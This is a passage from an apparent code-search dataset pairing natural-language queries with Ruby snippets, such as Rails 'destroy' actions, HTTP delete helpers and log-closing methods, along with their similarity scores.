Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :ok }\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def delete\n\t\trender json: Investor.delete_by_id(params[:id])\n\tend", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invite_request.destroy\n render :index\n\n end", "def incident_delete(statuspage_id, incident_id)\n data = {}\n data['statuspage_id'] = statuspage_id\n data['incident_id'] = incident_id\n\n request :method => :post,\n :url => @url + 'incident/delete',\n :payload => data\n end", "def destroy\n @invitado = Invitado.find(params[:id])\n @invitado.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitados_url) }\n format.xml { head :ok }\n end\n end", "def delete_invite(token, code)\n request(\n __method__,\n :delete,\n \"#{api_base}/invites/#{code}\",\n Authorization: token\n )\n end", "def destroy\n return if auth(\"website_administrator\")\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :ok }\n end\n end", "def destroy\n if self.admin? || (self.check_user && self.check_own_invite)\n @invite.destroy\n head :no_content\n else\n render json: { }, status: :unprocessable_entity\n end\n end", "def destroy\n @invstatus.destroy\n respond_to do |format|\n format.html { redirect_to invstatuses_url, notice: 'Invstatus was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n authorize! :manage, @invitee\n @invitee.destroy\n respond_to do |format|\n format.html { redirect_to \"/data_curation_network/accounts\", notice: \"Account was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitee = Invitee.find(params[:id])\n\t\t@address = @invitee.address\n\t\t@address.destroy\n @invitee.destroy\n\n respond_to do |format|\n format.html { redirect_to invitees_url }\n format.json { head :ok }\n\t\t\tformat.js\n end\n end", "def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to activites_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to invitations_url }\n format.xml { head :ok }\n end\n end", "def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @invest = Invest.find(params[:id])\n @invest.destroy\n\n respond_to do |format|\n format.html { redirect_to(invests_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @team_invite.destroy\n respond_to do |format|\n format.html { redirect_to team_team_invites_url, notice: 'Invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @ignite.destroy\n respond_to do |format|\n format.html { redirect_to ignites_url, notice: 'Ignite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invoiceline = Invoiceline.find(params[:id])\n @invoiceline.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoicelines_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @invitation = Invitation.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(invitations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @inbox = Inbox.find(params[:id])\n @inbox.destroy\n\n respond_to do |format|\n format.html { redirect_to inboxes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inv_x_ref = InvXRef.find(params[:id])\n @inv_x_ref.destroy\n\n respond_to do |format|\n format.html { redirect_to inv_x_refs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @inv_type = InvType.find(params[:id])\n @inv_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(inv_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to(activites_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n \n end\n end", "def destroy\n result = access_token.delete(\"/api/v1/emails/#{params[:id]}\")\n display_api_response( result )\n respond_with(\"\",:location => :back)\n end", "def destroy\n @activite.destroy\n respond_to do |format|\n format.html { redirect_to activites_url, notice: 'Activite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n # @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end", "def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end", "def destroy\n @invoice_status = InvoiceStatus.find(params[:id])\n @invoice_status.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_statuses_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invitation.destroy\n respond_to do |format|\n format.html { redirect_to invitations_url, notice: 'Invitation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @invier_acceso = InvierAcceso.find(params[:id])\n @invier_acceso.destroy\n\n respond_to do |format|\n format.html { redirect_to(invier_accesos_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @identity.destroy\n respond_to do |format|\n format.html { redirect_to identities_url }\n format.json { head :no_content }\n end\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def destroy\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidents_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n respond_to do |format|\n format.html { redirect_to(incidents_url) }\n format.xml { head :ok }\n end\n end", "def delete\n request(:delete)\n end", "def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end", "def destroy\n @linked_in_invitation = LinkedInInvitation.find(params[:id])\n @linked_in_invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to linked_in_invitations_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @os_groups_invite.destroy\n respond_to do |format|\n format.html { redirect_to os_groups_invites_url, notice: 'Os groups invite was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident.destroy\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident.destroy\n respond_to do |format|\n format.html { redirect_to incidents_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @friend_invite = FriendInvite.find(params[:id])\n @friend_invite.destroy\n\n respond_to do |format|\n format.html { redirect_to(friend_invites_url) }\n format.xml { head :ok }\n end\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @invoice=Invoice.find(params[:id])\n @invoice.destroy\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(params[:id])\n @incident.destroy\n\n head :no_content\n end", "def destroy\n @mammon_invite_record.destroy\n respond_to do |format|\n format.html { redirect_to mammon_invite_records_url, notice: 'Invite record was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def destroy\n @visit_request.destroy\n respond_to do |format|\n format.html { redirect_to visit_requests_url, notice: 'Visit request was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete()\n @client.make_request(:delete, @client.concat_user_path(\"#{DOMAIN_PATH}/#{domain_id}/endpoints/#{id}\"))[0]\n end", "def destroy\n @invoice.destroy\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @invoice = Invoice.find(params[:id])\n @invoice.destroy\n\n respond_to do |format|\n format.html { redirect_to invoices_url }\n format.xml { head :ok }\n end\n end", "def destroy\r\n @profile_invite.destroy\r\n respond_to do |format|\r\n format.html { redirect_to :back, notice: 'Avaliador removido om sucesso'}\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @invitation = @event.invitations.find(params[:id])\n @invitation.destroy\n\n respond_to do |format|\n format.html { redirect_to(page_event_invitations_path(@page, @event)) }\n format.xml { head :ok }\n format.js\n end\n end", "def destroy\n @identity = Identity.find(params[:id])\n @identity.destroy\n respond_to do |format|\n format.html { redirect_to identities_url, notice: \"Identity was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end" ]
[ "0.7457771", "0.7420519", "0.7420519", "0.72055924", "0.7199649", "0.7199649", "0.7199649", "0.7199649", "0.7193738", "0.71763223", "0.7166482", "0.7079448", "0.70431536", "0.70200104", "0.6986385", "0.6942255", "0.6895627", "0.6848635", "0.6829932", "0.6790051", "0.6718232", "0.670798", "0.6700859", "0.66882914", "0.66882914", "0.66882914", "0.66882914", "0.66882914", "0.6656658", "0.66110986", "0.66004276", "0.6593636", "0.65904653", "0.657655", "0.65689254", "0.6552877", "0.6544133", "0.65262544", "0.6513951", "0.65011525", "0.6488794", "0.6470867", "0.6460381", "0.64546245", "0.64432245", "0.64053226", "0.64006805", "0.64006805", "0.6390531", "0.63844204", "0.63844204", "0.63844204", "0.63844204", "0.6382973", "0.63759977", "0.6357763", "0.6357679", "0.63539356", "0.6333602", "0.6325245", "0.6310243", "0.630491", "0.630491", "0.6297959", "0.6297959", "0.6297959", "0.6297959", "0.6297959", "0.62927824", "0.6280479", "0.62784606", "0.6277244", "0.62728167", "0.6271874", "0.6271874", "0.6270916", "0.62673914", "0.62609476", "0.62473786", "0.6241792", "0.6241792", "0.62391454", "0.6237082", "0.6237082", "0.6237082", "0.6237082", "0.62318647", "0.6230493", "0.6224245", "0.6219741", "0.6216286", "0.6213778", "0.6189448", "0.6186935", "0.6183334", "0.61762", "0.6175349" ]
0.7668476
3
log a message, and increment future messages in this thread. useful for nesting logic
def log_incr(*args) log(*args) unless args.empty? @log_indents[Thread.current] += 1 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def increment\n @attempt += 1\n log\n end", "def updated(message)\n @count += 1\n @out.puts \"#{@count}/#{@total}: #{message}\"\n end", "def updated(message)\n @count += 1\n @out.print \".\"\n @out.flush\n end", "def act(user_id, msg)\r\n # check if it's double\r\n return if @log.last && @log.last[:tag] == msg[:tag]\r\n # add sequence number for action\r\n msg[:seq] = @seq\r\n @seq += 1\r\n # keep trace of actions\r\n @log << msg\r\n # add action to queues\r\n @users.each { |x|\r\n queue_act(x, msg) if x != user_id\r\n }\r\n end", "def on_message(message)\n if Integer === message\n @count += message\n end\n end", "def on_message(message)\n if Integer === message\n @count += message\n end\n end", "def work(message)\n if message.is_a?(Message)\n self.count = count + 1\n\n Concurrent::IVar.new(:ok)\n else\n expected_messages_received?\n end\n end", "def log_and_update_message(level, msg, update_message = false)\n $evm.log(level, msg.to_s)\n @task.message = msg if @task && (update_message || level == 'error')\nend", "def next_message_id\n @message_id += 1\n end", "def next_message_id\n @message_id += 1\n end", "def log_and_update_message(level, msg, update_message = false)\n $evm.log(level, msg.to_s)\n @task.message = msg if @task && (update_message || level == 'error')\nend", "def uimessage(message, level=0, sketchup=Sketchup, counter=nil)\n Su2Rad::Logger.log(message, level, sketchup, counter)\n end", "def perform(log)\n log.write(\"#{@message ** @ctx}\\n\")\n true\n end", "def info(msg) log(6, msg); end", "def updating( msg )\n @log.info \"updating #{msg}\"\n end", "def log(message); logger.info(message); end", "def write(msg)\n if msg.end_with?(\"\\n\")\n @progress_bar.clear\n if @current_line.nil?\n # New messages to be displayed\n @stream << msg\n else\n # Ending previous line\n @stream << (@current_line + msg)\n @current_line = nil\n end\n @progress_bar.refresh(force: true) unless @progress_bar.stopped?\n elsif @current_line.nil?\n # Beginning new line\n @current_line = msg\n else\n # Continuing current line\n @current_line << msg\n end\n end", "def log\n return if @logger.nil?\n\n @logger.debug(\"Counter\") { \"attempt #{self}\" }\n end", "def log message\n @logs << message\n end", "def log_message(message)\r\n @log.log_message(message)\r\n end", "def on_msg(msg)\n\n puts(fancy_print(msg, @noisy)) if @noisy\n\n return if msg['action'] == 'noop'\n\n @mutex.synchronize do\n\n @seen << msg\n @log << msg\n\n while @log.size > @log_max; @log.shift; end\n while @seen.size > @log_max; @seen.shift; end\n end\n end", "def log(number, message)\n msg=message.strip\n msg.each_line {|line|\n send_message(\"LOG\", \"-\", number, line.strip)\n }\n end", "def write(message)\n @messages.unshift(message)\n end", "def record(message)\n results_write.puts(message)\n results_write.flush\n end", "def puts(msg, tok=@default_token)\n q = nil\n @hash_lock.synchronize do\n #Messages are grouped by their token since 1 http request\n #to logplex must only contain log messages belonging to a single token.\n q = @hash[tok] ||= LogMsgQueue.new(@batch_size)\n end\n q.enqueue({:t => Time.now.utc, :token => tok, :msg => msg})\n # Flush all of the queues if any queue is full.\n flush if q.full?\n end", "def do_log( msg )\n log( msg )\n end", "def next_message; end", "def next_message; end", "def print(message)\n\t\ttime = Time.now\n\n\t\t@duration += (time - @lastMessageTime)\n\n\t\t@lastMessageTime = time\n\n\t\t@message = message\n\n\tend", "def publish\n self.push_message_to_client\n update_attribute(:number, self.number+1)\n end", "def log(message)\n @__result.add_log(message)\n true\n end", "def log msg\n history = File.open(@current, \"a\")\n history.puts msg\n history.close\n end", "def start_messages\n Server.log.info(\"* Worker count: #{@configs.count}\")\n end", "def log(message)\n puts \"resque-pool-manager[#{Process.pid}]: #{message}\"\n #$stdout.fsync\n end", "def log_message\n #History.new(\n # mailbox_name: 'N/A',\n # name: @updater,\n # message: Array(@msg).join(',')\n #).save!\n end", "def sending(message, repeat)\n @req = Thread.new do\n count = 0\n repeat.times do\n count += 1\n @server.puts message\n puts \"Amount Of Requests #{count}\"\n end\n end\n end", "def start_messages\n ActiveHook.log.info(\"* Workers: #{@workers}\")\n ActiveHook.log.info(\"* Threads: #{@options[:queue_threads]} queue, #{@options[:retry_threads]} retry\")\n end", "def update_process_logs( msg, logging_method_sym = :info )\n log( msg.to_s, true, logging_method_sym )\n if defined?(process_log) && process_log.respond_to?( :<< )\n process_log << (msg.to_s + \"\\r\\n\")\n end\n end", "def log_method(num)\n lambda {|message|\n log(num, message)\n }\n end", "def info(msg); @logger.info(msg); end", "def run\n loop do\n File.open('logs/master_audit.log', 'a') do |log|\n log.puts message_from_queue\n end\n sleep 1.0\n end\n end", "def add_message room_name, message\n unless @@room_data[room_name]['messages'].include? message\n messages = @@room_data[room_name]['messages']\n messages.push message\n @@room_data[room_name]['messages'] = messages[-500,500] if messages.length > 500\n end\n \n return if room_name != @room\n scroll_down = @log.scroll_top >= @log.scroll_max - 10\n @log.append do\n flow do\n para strong(message['user']['name'] || message ['user']['id']), ': ', message['message']\n end\n end\n \n while @log.contents.length > 500\n @log.contents.first.remove\n end\n \n @log.scroll_top = @log.scroll_max\n end", "def accumulate(message)\n @aggregator += \" #{message}\" if message\n false\n end", "def message(message)\n output_listeners.each { |listener| listener.message(message) }\n each_line_block.call(\n type: :message,\n message: message,\n time: Time.now\n )\n end", "def start_messages\n Server.log.info(\"* Workers: #{@workers}\")\n Server.log.info(\"* Threads: #{@options[:queue_threads]} queue, #{@options[:retry_threads]} retry\")\n end", "def increment\n topic.increment(1)\n end", "def process_messages\n sleep 0.05\nend", "def print_once(msg)\n @lock.synchronize do\n print \"#{msg}\\n\" if @print_count == 0\n @print_count += 1\n @print_count = 0 if @print_count == hosts.size\n end\n end", "def message(message)\n log.info(message.to_s)\n end", "def increment(*)\n @build += 1\n end", "def on_message(message)\n case message.action\n when :add\n @counter = @counter + message.value\n when :subtract\n @counter = @counter - message.value\n when :value\n @counter\n else\n pass\n end\n end", "def add_message(message)\r\n fail \"Message needs id\" unless message.respond_to?(:id)\r\n fail \"Message should respond to reply_to\" unless message.respond_to?(:reply_to)\r\n\r\n index = @messages.size-1\r\n unless (message.reply_to.nil?)\r\n index = @messages.find_index { |message_replied| message_replied.message_id.to_i == message.reply_to.to_i }\r\n message.depth = @messages.fetch(index).depth+1\r\n\r\n count = 0\r\n\r\n found = @messages[index+1..@messages.size-1].find do |last_message|\r\n result = last_message.depth < message.depth\r\n count += 1\r\n result\r\n end\r\n\r\n index += count - (found.nil? ? 0 : 1)\r\n end\r\n\r\n @messages.insert(index+1, message)\r\n changed\r\n notify_observers self, message\r\n end", "def log_message(message)\n\t\tputs(message)\n\tend", "def write(message)\n @m.synchronize do\n @logfile.write(message) unless @logfile.nil?\n @responses.each{|res| res.send_event(\"build_log\", strip_control_chars(message)) }\n end\n end", "def log level, message; write level, message, caller[0] unless level > @level end", "def log_and_hire(amount)\n Logger.message(\"Hiring more workers so we have #{ amount } in total.\")\n workers(amount)\n end", "def start_message\n ActiveHook.log.info(\"* Worker #{@id} started, pid: #{@pid}\")\n end", "def logs message\n puts \"#{Time.now}: #{message}\"\n end", "def output_thread_step\n obj = @send_q.deq\n case obj\n when Message\n# rt_debug \"output: sending message #{obj}\" + (obj.id == :request ? \" (request queue size #{@want_blocks.length})\" : \"\")\n send_bytes obj.to_wire_form\n @time[:send] = Time.now\n when Block\n# rt_debug \"output: sending block #{obj}\"\n send_bytes Message.new(:piece, {:length => obj.length, :index => obj.pindex, :begin => obj.begin}).to_wire_form\n obj.each_chunk(BUFSIZE) { |c| send_bytes c }\n @time[:send] = Time.now\n @ulmeter.add obj.length\n# rt_debug \"sent block #{obj} ul rate now #{(ulrate / 1024.0).round}kb/s\"\n else\n raise \"don't know what to do with #{obj}\"\n end\n end", "def log(msg)\n puts msg\n $stdout.flush\n end", "def start_message\n Server.log.info(\"* Worker #{@id} started | pid: #{@pid} | namespace: #{@config.namespace}\")\n end", "def increment_counter\n unless self.count.nil?\n self.count += 1\n else\n self.count = 1\n end\n end", "def log(message)\n puts message\n end", "def critical(msg) log(2, msg); end", "def log_worker(message)\n puts \"resque-pool-worker[#{Process.pid}]: #{message}\"\n #$stdout.fsync\n end", "def notice(msg) log(5, msg); end", "def log(message)\n @collector.sending_stream.puts pack(:log, message)\n end", "def info_msg(msg)\n @log.puts(msg)\n puts msg\nend", "def queue(message); end", "def log(msg)\n $logger << msg + \"\\n\"\nend", "def <<(message)\n if @thread.alive?\n @actorQueue << message\n @main.shift\n else \n raise DeadActor, \"Actor is dead!\"\n end\n end", "def atomic_create\n @room.messages_requested.increment do |messages_requested|\n @room.send_message_to_requested_channel(messages_requested)\n if messages_requested <= @room.max_messages\n @room.messages_posted.increment\n @room.send_message_to_posted_channel(@room.messages_posted.value)\n if @message.save\n @room.send_message_to_chat_channel(render_message_to_string)\n render nothing: true\n else\n logger.info @message.errors.inspect\n end\n else\n render nothing: true\n end\n end\n end", "def loop_message_n_times(message, number)\n number.times {puts message}\nend", "def m_in(message)\n\t\tputs \"> #{Time.now} #{message}\"\n\tend", "def log(message)\n @ticket.log(message) unless message.blank?\n # always save the last log message\n @last_log_message = message\n end", "def log(message)\n if @trace\n @trace.call \"#{Time.now.strftime(\"%Y-%m-%d %H:%M:%S\")} [#{Thread.current}]: Ghost_Reader: #{message}\"\n end\n end", "def log_info(msg)\n # puts \"-I- #{msg}\"\n @msg_text.insert('end', \"-I- #{msg}\\n\")\n @msg_text.see('end')\n end", "def <<(message_)\n add(@level_group.default, message_)\n end", "def log(message)\n if message.is_a? String\n message_key = \"#{TransactionLogger.log_prefix}info\"\n message = { message_key => message }\n @log_queue.push message\n else\n @log_queue.push message\n end\n end", "def sent_message(application)\n return unless Config.metrics\n # Update record\n work_data.update(\n {app_id: application.app_id},\n {'$inc' => {nb_messages: 1}, '$set' => {timestamp: Time.now.to_i}},\n {upsert: true}\n )\n end", "def log(msg)\n puts msg\n $stdout.flush\n end", "def logging(message)\n instrument(TOPIC, prefix: \" BONES-RPC: #{address.resolved}\", ops: [message]) do\n yield if block_given?\n end\n end", "def log(msg)\n puts(\"#{Time.now}> #{msg}\")\n end", "def send_message(message)\n @module_manager.bot.log prefix + message + \"\\e[0m\"\n end", "def write level, message\n now = Time.now\n usec = sprintf \"%06d\", now.usec\n timestamp = now.strftime \"%Y%m%d-%H:%M:%S.#{usec} %Z\"\n @message_queue << [ZMQ::Message.new(level.to_s), ZMQ::Message.new(timestamp), ZMQ::Message.new(message.to_s)]\n write_queue_to_socket\n end", "def log(message)\n puts \"Worker ##{@id}: #{message}\" unless ENV['RACK_ENV'] == 'test'\n end", "def log(message)\n puts \">> #{message}\"\n end", "def info message; write INFO, message, caller[0] unless level > @level end", "def log_duration message = 'completed in %s', &block\n start = Time.now and yield\n log.info message % start.in_words_since_now\n end", "def log(msg)\n Serv::Log.info(Time.now.to_s+': '+msg+\"\\n\")\n end", "def log(msg)\n puts\n puts msg\nend", "def running_phase\n loop do\n maybe_log(\"Waiting for message\")\n request = ::Ractor.receive\n next unless request.is_a?(Message)\n case request.type\n when :call\n @queue.enq(request)\n register_call(request)\n maybe_log(\"Queued method #{request.data.first} (transaction=#{request.transaction})\")\n when :thread_stopped\n maybe_log(\"Thread unexpectedly stopped: #{request.data}\")\n @thread_count -= 1\n break\n when :stop\n maybe_log(\"Received stop\")\n break\n end\n end\n end", "def increase_new_chat_notifications\n increment!(:new_chat_notification)\n end", "def log(tag, *messages)\n messages.each do |message|\n QUEUE << [tag, message]\n end\n end", "def completed\n logger.debug \"Beetle: message processing completed\"\n logger.flush if logger.respond_to?(:flush)\n end", "def <<(message)\n submit_message message\n self\n end", "def add_processing_message(level, severity, text)\n \n # See if we are bumping the level up or down\n if @log_level < level\n while @log_level < level\n @process_log << \"<ul>\"\n @log_level += 1\n end\n elsif @log_level > level\n while @log_level > level\n @process_log << \"</ul>\"\n @log_level -= 1\n end\n end\n @log_level = level\n \n # Log Level 1 is a special case for top-level information. \n # All other levels are subordinate to some larger piece (e.g. MileageUpdate processing)\n if level == 1\n @process_log << \"<p class='text-#{severity}'>#{text}</p>\" \n else\n @process_log << \"<li><p class='text-#{severity}'>#{text}</p></li>\"\n end\n end", "def msg(message)\n output[:messages] << message\n end", "def log(message)\n SystemdMon::Logger.puts \"#{me}: #{message}\"\n end", "def continue\n @queue << \"continue\"\n end" ]
[ "0.65136504", "0.6327033", "0.6314633", "0.5977783", "0.5883685", "0.5883685", "0.5855488", "0.5843392", "0.5843274", "0.5843274", "0.5842695", "0.5828528", "0.5821041", "0.5753555", "0.5752149", "0.56461215", "0.5638304", "0.56194335", "0.558727", "0.5581589", "0.5572643", "0.55494463", "0.5544347", "0.55416584", "0.5537708", "0.5537505", "0.5536316", "0.5536316", "0.55345696", "0.5530301", "0.54994667", "0.5492298", "0.5484665", "0.5481393", "0.54677594", "0.5448169", "0.5443809", "0.54435235", "0.5428369", "0.5417633", "0.54118663", "0.54079366", "0.53814065", "0.53759027", "0.53751296", "0.5367423", "0.5357475", "0.53538036", "0.5339839", "0.5332479", "0.53110206", "0.5306689", "0.5303291", "0.53032845", "0.53002757", "0.52995574", "0.52987844", "0.5297317", "0.52958745", "0.52916294", "0.5290002", "0.52880704", "0.52809846", "0.5277172", "0.5273231", "0.52729964", "0.5265818", "0.5256962", "0.52565825", "0.5254272", "0.5253294", "0.52478135", "0.52476543", "0.5245396", "0.5241939", "0.5232986", "0.52329487", "0.5228175", "0.52247965", "0.5207337", "0.5200712", "0.5194309", "0.51910436", "0.5178097", "0.5176633", "0.51751083", "0.51687723", "0.51608676", "0.5160134", "0.51570946", "0.5154389", "0.51542795", "0.5153915", "0.51526225", "0.51418084", "0.5140879", "0.5140507", "0.51399195", "0.5139474", "0.51354456" ]
0.671669
0
close the logical block, and (optionally) log
def log_decr(*args) @log_indents[Thread.current] -= 1\ if @log_indents[Thread.current] > 0 log(*args) unless args.empty? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def close\n flush\n @log.close if @log.respond_to?(:close) && !@log.tty?\n @log = nil\n end", "def close( &block )\n compile!( :close!, &block )\n end", "def close\n checkpoint\n @logfile.close\n end", "def close() end", "def close() end", "def close() end", "def close() end", "def close() end", "def closing?; end", "def close\n flush\n @log.close if @log.respond_to?(:close)\n @log = nil\n end", "def do_close; end", "def closing; end", "def closing; end", "def close; true; end", "def close; true; end", "def close\n # NOOP\n end", "def close\n # NOOP\n end", "def close!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 33 )\n\n\n\n type = CLOSE\n channel = ANTLR3::DEFAULT_CHANNEL\n # - - - - label initialization - - - -\n\n\n # - - - - main rule block - - - -\n # at line 208:8: 'end'\n match( \"end\" )\n\n\n\n @state.type = type\n @state.channel = channel\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 33 )\n\n\n end", "def close\n @master.puts \"COMMIT;\"\n @master.puts \"-- Generated in #{Time.now - @started} seconds\"\n @master.close\n end", "def close_block\n unless @rr.empty? then @r = @rr.pop end # back with the register\n @pipe.pop; @opener.pop; @finisher.pop # pop the writing stack\n ( @head.pop + @tail.pop ).join # join head and tail\n end", "def close\n\t\t\tKernel.exit 0\n\t\tend", "def close_block\n push_silent \"end\"\n @template_tabs -= 1\n end", "def closed?; end", "def closed?; end", "def closed?; end", "def closed?; end", "def close\n # no-op\n end", "def on_close(&block); end", "def close\n raise Midori::Error::FrameEnd\n end", "def close_log\n if @logging_io && @logging_io != $stdout\n @logging_io.close\n @logging_io = nil\n end\n end", "def local_closed?; end", "def closeLog()\n @logger.close() ;\n end", "def close!\n end", "def end_logging\n finalize_log_file()\n @logger.close()\n end", "def close!\n close(true)\n end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close; end", "def close\n @log_file.close\n end", "def close\n # Force full flush call to ensure that all accumulated messages are flushed.\n buffer_flush(:final => true)\n end", "def _close_open_block_commands\n return unless @stack.size > 1\n until @stack.size == 1\n sub = @stack.pop\n @stack.last << sub\n end\n end", "def close\n $file.close\t\t\t\t# Closes the log file\n puts \"Files flushed properly\"\t\t# Basically means that file has been closed properly instead of force quitting which MAY/COULD result in \t\t\t\t\t\t#memory leaks\n abort(\"Exiting\")\t\t\t# Actually exits the game but not before outputting 'Exiting'\nend", "def close\n @logdev.close if @logdev\n end", "def _close\n end", "def close\n @closed = true\n end", "def closed?() end", "def closed?() end", "def closed?() end", "def highlander_at_exit\n DATA.close if Object.const_defined?(:DATA) && DATA.respond_to?(:close)\n end", "def close()\n #This is a stub, used for indexing\n end", "def close\n\n # nothing to do here.\n end", "def close\n @logdev.close if @logdev\n end", "def close()\n @closed = true\n end", "def close\n flush\n end", "def close\n flush\n end", "def terminate()\n \n # Setting @power to 'OFF'\n 